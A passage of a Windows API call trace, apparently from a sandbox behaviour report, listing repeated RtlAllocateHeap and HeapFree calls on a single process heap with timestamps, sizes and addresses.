lpMem=0x325fce0 | out: hHeap=0x5d0000) returned 1 [0066.886] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x20) returned 0x325fce0 [0066.886] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x830) returned 0x32476f0 [0066.886] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0066.886] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x325fce0 | out: hHeap=0x5d0000) returned 1 [0066.886] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x20) returned 0x325fce0 [0066.886] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x840) returned 0x32476f0 [0066.886] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0066.886] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x325fce0 | out: hHeap=0x5d0000) returned 1 [0066.886] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x20) returned 0x325fce0 [0066.886] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x820) returned 0x32476f0 [0066.886] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0xc2e) returned 0x3177118 [0066.886] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0066.886] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3177118 | out: hHeap=0x5d0000) returned 1 [0066.886] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x325fce0 | out: hHeap=0x5d0000) returned 1 [0066.886] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x20) returned 0x325fce0 [0066.886] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x820) returned 0x32476f0 [0066.886] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0066.887] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x325fce0 | out: hHeap=0x5d0000) returned 1 [0066.887] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x20) returned 0x325fce0 [0066.887] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x840) returned 0x32476f0 [0066.887] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0066.887] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x325fce0 | out: hHeap=0x5d0000) returned 1 [0066.887] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x20) returned 0x325fce0 [0066.887] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x860) returned 0x3178dd8 [0066.887] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3178dd8 | out: hHeap=0x5d0000) returned 1 [0066.887] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x325fce0 | out: hHeap=0x5d0000) returned 1 [0066.887] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x20) returned 0x325fce0 [0066.887] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x860) returned 0x3178dd8 [0066.887] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3178dd8 | out: hHeap=0x5d0000) returned 1 [0066.887] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x325fce0 | out: hHeap=0x5d0000) returned 1 [0066.887] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x20) returned 0x325fce0 [0066.887] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x820) returned 0x32476f0 [0066.887] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0066.887] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x325fce0 | out: hHeap=0x5d0000) returned 1 [0066.887] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x20) returned 0x325fce0 [0066.887] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x820) returned 0x32476f0 [0066.887] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0066.887] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x325fce0 | out: hHeap=0x5d0000) returned 1 [0066.887] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x20) returned 0x325fce0 [0066.887] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x840) returned 0x32476f0 [0066.887] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0066.887] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x325fce0 | out: hHeap=0x5d0000) returned 1 [0066.887] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x20) returned 0x325fce0 [0066.887] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x840) returned 0x32476f0 [0066.887] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0066.887] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x325fce0 | out: hHeap=0x5d0000) returned 1 [0066.887] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x20) returned 0x325fce0 [0066.887] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x830) returned 0x32476f0 [0066.887] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0066.887] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x325fce0 | out: hHeap=0x5d0000) returned 1 [0066.888] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x20) returned 0x325fce0 [0066.888] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x830) returned 0x32476f0 [0066.888] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0066.888] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x325fce0 | out: hHeap=0x5d0000) returned 1 [0066.888] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x20) returned 0x325fce0 [0066.888] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x830) returned 0x32476f0 [0066.888] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0066.888] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x325fce0 | out: hHeap=0x5d0000) returned 1 [0066.888] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x20) returned 0x325fce0 [0066.888] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x820) returned 0x32476f0 [0066.888] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0066.888] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x325fce0 | out: hHeap=0x5d0000) returned 1 [0066.888] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x20) returned 0x325fce0 [0066.888] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x820) returned 0x32476f0 [0066.888] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0066.888] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x325fce0 | out: hHeap=0x5d0000) returned 1 [0066.888] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x20) returned 0x325fce0 [0066.888] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x820) returned 0x32476f0 [0066.888] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0066.888] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x325fce0 | out: hHeap=0x5d0000) returned 1 [0066.888] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x20) returned 0x325fce0 [0066.888] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x830) returned 0x32476f0 [0066.888] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0066.888] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x325fce0 | out: hHeap=0x5d0000) returned 1 [0066.888] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x20) returned 0x325fce0 [0066.888] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x830) returned 0x32476f0 [0066.888] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0xc46) returned 0x3177118 [0066.888] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0066.888] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3177118 | out: hHeap=0x5d0000) returned 1 [0066.888] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x325fce0 | out: hHeap=0x5d0000) returned 1 [0066.888] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x20) returned 0x325fce0 [0066.888] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x820) returned 0x32476f0 [0066.888] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0066.888] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x325fce0 | out: hHeap=0x5d0000) returned 1 [0066.889] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x20) returned 0x325fce0 [0066.889] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x820) returned 0x32476f0 [0066.889] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0xc2e) returned 0x3177118 [0066.889] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0066.889] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3177118 | out: hHeap=0x5d0000) returned 1 [0066.889] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x325fce0 | out: hHeap=0x5d0000) returned 1 [0066.889] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x20) returned 0x325fce0 [0066.889] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x860) returned 0x3178dd8 [0066.889] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3178dd8 | out: hHeap=0x5d0000) returned 1 [0066.889] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x325fce0 | out: hHeap=0x5d0000) returned 1 [0066.889] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x20) returned 0x325fce0 [0066.889] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x860) returned 0x3178dd8 [0066.889] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3178dd8 | out: hHeap=0x5d0000) returned 1 [0066.889] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x325fce0 | out: hHeap=0x5d0000) returned 1 [0066.889] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x20) returned 0x325fce0 [0066.889] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x820) returned 0x32476f0 [0066.889] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0066.889] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x325fce0 | out: hHeap=0x5d0000) returned 1 [0066.889] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x20) returned 0x325fce0 [0066.889] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x820) returned 0x32476f0 [0066.889] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0066.889] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x325fce0 | out: hHeap=0x5d0000) returned 1 [0066.889] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x20) returned 0x325fce0 [0066.889] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x830) returned 0x32476f0 [0066.889] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0xc46) returned 0x3177118 [0066.889] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0066.889] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3177118 | out: hHeap=0x5d0000) returned 1 [0066.889] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x325fce0 | out: hHeap=0x5d0000) returned 1 [0066.889] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x20) returned 0x325fce0 [0066.889] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x840) returned 0x32476f0 [0066.889] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0066.889] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x325fce0 | out: hHeap=0x5d0000) returned 1 [0066.890] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x20) returned 0x325fce0 [0066.890] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x840) returned 0x32476f0 [0066.890] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0066.890] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x325fce0 | out: hHeap=0x5d0000) returned 1 [0066.890] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x20) returned 0x325fce0 [0066.890] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x830) returned 0x32476f0 [0066.890] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0066.890] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x325fce0 | out: hHeap=0x5d0000) returned 1 [0066.890] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x20) returned 0x325fce0 [0066.890] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x830) returned 0x32476f0 [0066.890] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0066.890] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x325fce0 | out: hHeap=0x5d0000) returned 1 [0066.890] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x20) returned 0x325fce0 [0066.890] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x830) returned 0x32476f0 [0066.890] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0066.890] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x325fce0 | out: hHeap=0x5d0000) returned 1 [0066.890] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x20) returned 0x325fce0 [0066.890] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x820) returned 0x32476f0 [0066.890] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0066.890] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x325fce0 | out: hHeap=0x5d0000) returned 1 [0066.890] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x20) returned 0x325fce0 [0066.890] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x820) returned 0x32476f0 [0066.890] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0066.890] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x325fce0 | out: hHeap=0x5d0000) returned 1 [0066.890] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x20) returned 0x325fce0 [0066.890] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x820) returned 0x32476f0 [0066.890] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0066.890] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x325fce0 | out: hHeap=0x5d0000) returned 1 [0066.890] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x20) returned 0x325fce0 [0066.890] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x830) returned 0x32476f0 [0066.890] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0066.890] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x325fce0 | out: hHeap=0x5d0000) returned 1 [0066.890] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x20) returned 0x325fce0 [0066.890] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x830) returned 0x32476f0 [0066.891] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0xc46) returned 0x3177118 [0066.891] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0066.891] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3177118 | out: hHeap=0x5d0000) returned 1 [0066.891] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x325fce0 | out: hHeap=0x5d0000) returned 1 [0066.891] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x20) returned 0x325fce0 [0066.891] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x820) returned 0x32476f0 [0066.891] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0066.891] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x325fce0 | out: hHeap=0x5d0000) returned 1 [0066.891] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x20) returned 0x325fce0 [0066.891] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x860) returned 0x3178dd8 [0066.891] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3178dd8 | out: hHeap=0x5d0000) returned 1 [0066.891] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x325fce0 | out: hHeap=0x5d0000) returned 1 [0066.891] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x20) returned 0x325fce0 [0066.891] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x860) returned 0x3178dd8 [0066.891] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3178dd8 | out: hHeap=0x5d0000) returned 1 [0066.891] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x325fce0 | out: hHeap=0x5d0000) returned 1 [0066.891] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x20) returned 0x325fce0 [0066.891] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x820) returned 0x32476f0 [0066.891] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0066.891] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x325fce0 | out: hHeap=0x5d0000) returned 1 [0066.891] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x20) returned 0x325fce0 [0066.891] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x820) returned 0x32476f0 [0066.891] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0066.891] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x325fce0 | out: hHeap=0x5d0000) returned 1 [0066.891] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x20) returned 0x325fce0 [0066.891] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x830) returned 0x32476f0 [0066.891] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0xc46) returned 0x3177118 [0066.891] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0066.891] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3177118 | out: hHeap=0x5d0000) returned 1 [0066.891] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x325fce0 | out: hHeap=0x5d0000) returned 1 [0066.891] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x20) returned 0x325fce0 [0066.891] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x840) returned 0x32476f0 [0066.891] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0066.891] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x325fce0 | out: hHeap=0x5d0000) returned 1 [0066.892] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x20) returned 0x325fce0 [0066.892] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x840) returned 0x32476f0 [0066.892] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0066.892] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x325fce0 | out: hHeap=0x5d0000) returned 1 [0066.892] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x20) returned 0x325fce0 [0066.892] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x830) returned 0x32476f0 [0066.892] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0066.892] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x325fce0 | out: hHeap=0x5d0000) returned 1 [0066.892] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x20) returned 0x325fce0 [0066.892] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x830) returned 0x32476f0 [0066.892] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0066.892] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x325fce0 | out: hHeap=0x5d0000) returned 1 [0066.892] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x20) returned 0x325fce0 [0066.892] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x830) returned 0x32476f0 [0066.892] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0066.892] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x325fce0 | out: hHeap=0x5d0000) returned 1 [0066.892] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x20) returned 0x325fce0 [0066.892] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x820) returned 0x32476f0 [0066.892] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0066.892] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x325fce0 | out: hHeap=0x5d0000) returned 1 [0066.892] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x20) returned 0x325fce0 [0066.892] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x820) returned 0x32476f0 [0066.892] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0066.892] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x325fce0 | out: hHeap=0x5d0000) returned 1 [0066.892] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x20) returned 0x325fce0 [0066.892] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x820) returned 0x32476f0 [0066.892] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0066.892] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x325fce0 | out: hHeap=0x5d0000) returned 1 [0066.892] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x20) returned 0x325fce0 [0066.892] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x830) returned 0x32476f0 [0066.892] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0066.892] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x325fce0 | out: hHeap=0x5d0000) returned 1 [0066.892] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x20) returned 0x325fce0 [0066.893] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x830) returned 0x32476f0 [0066.893] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0xc46) returned 0x3177118 [0066.893] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0066.893] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3177118 | out: hHeap=0x5d0000) returned 1 [0066.893] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x325fce0 | out: hHeap=0x5d0000) returned 1 [0066.893] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x20) returned 0x325fce0 [0066.893] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x820) returned 0x32476f0 [0066.893] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0066.893] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x325fce0 | out: hHeap=0x5d0000) returned 1 [0066.893] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x20) returned 0x325fce0 [0066.893] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x860) returned 0x3178dd8 [0066.893] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3178dd8 | out: hHeap=0x5d0000) returned 1 [0066.893] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x325fce0 | out: hHeap=0x5d0000) returned 1 [0066.893] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x20) returned 0x325fce0 [0066.893] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x860) returned 0x3178dd8 [0066.893] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3178dd8 | out: hHeap=0x5d0000) returned 1 [0066.893] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x325fce0 | out: hHeap=0x5d0000) returned 1 [0066.893] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x20) returned 0x325fce0 [0066.893] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x820) returned 0x32476f0 [0066.893] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0066.893] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x325fce0 | out: hHeap=0x5d0000) returned 1 [0066.893] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x20) returned 0x325fce0 [0066.893] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x820) returned 0x32476f0 [0066.893] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0066.893] HeapFree (in: 